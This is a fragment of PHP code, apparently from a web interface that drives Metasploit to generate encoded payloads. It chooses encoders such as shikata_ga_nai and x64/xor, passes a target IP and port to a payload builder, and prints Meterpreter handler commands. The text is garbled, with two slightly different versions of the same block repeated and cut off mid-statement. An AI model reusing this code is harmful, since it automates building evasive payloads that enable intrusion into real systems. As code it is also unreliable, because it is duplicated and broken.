if ($payload < 6) { $encoder = "x86/shikata_ga_nai"; } else { $encoder = "x64/xor"; } } elseif ($type == 3) { $output = "raw"; if ($payload < 6) { $encoder = "x86/countdown"; } else { $encoder = "x64/xor"; } } else { print "<p class=\"alert alert-info\" style='text-align:center; font-weight:bold'>An error occurred. Check your inputs!</p>"; } use_payload($METASPLOIT, $payloadtype, $output, $ipaddress, $port, $ipaddress, $port, $encoder, $filename); print "<p class=\"alert alert-info\" style='text-align:center; font-weight:bold'>Payload creation complete and It can be downloaded from the "; ?> $OUTPUTDIR <?php print " specified in conf.php.<br>Meterpreter handler commands are below.</p>"; print "<pre>{$msfrc}</pre>"; print "<br><br>"; /** //OUTPUT TYPE IS DLL if ($type == 1) { //FILE OUTPUT TYPE $output = 'dll'; //SET ENCODER FOR x64 OR x86
if ($payload < 6) { $encoder = "x86/shikata_ga_nai"; } else { $encoder = "x64/xor"; } } elseif ($type == 3) { $output = "raw"; if ($payload < 6) { $encoder = "x86/countdown"; } else { $encoder = "x64/xor"; } } else { print "<p class=\"alert alert-info\" style='text-align:center; font-weight:bold'>An error occurred. Check your inputs!</p>"; } $created = use_payload($METASPLOIT, $MSFUSERNAME, $MSFPASSWORD, $payloadtype, $output, $ipaddress, $port, $ipaddress, $port, $encoder, $filename); if ($created == true) { print "<p class=\"alert alert-info\" style='text-align:center; font-weight:bold'>Payload creation complete and It can be downloaded from the "; ?> $OUTPUTDIR <?php print " specified in conf.php.<br>Meterpreter handler commands are below.</p>"; print "<pre>{$msfrc}</pre>"; } else { print "<p class=\"alert alert-danger\" style='text-align:center; font-weight:bold'>Failed to create payload! Please try again.</p>"; } print "<br><br>"; /** //OUTPUT TYPE IS DLL if ($type == 1) {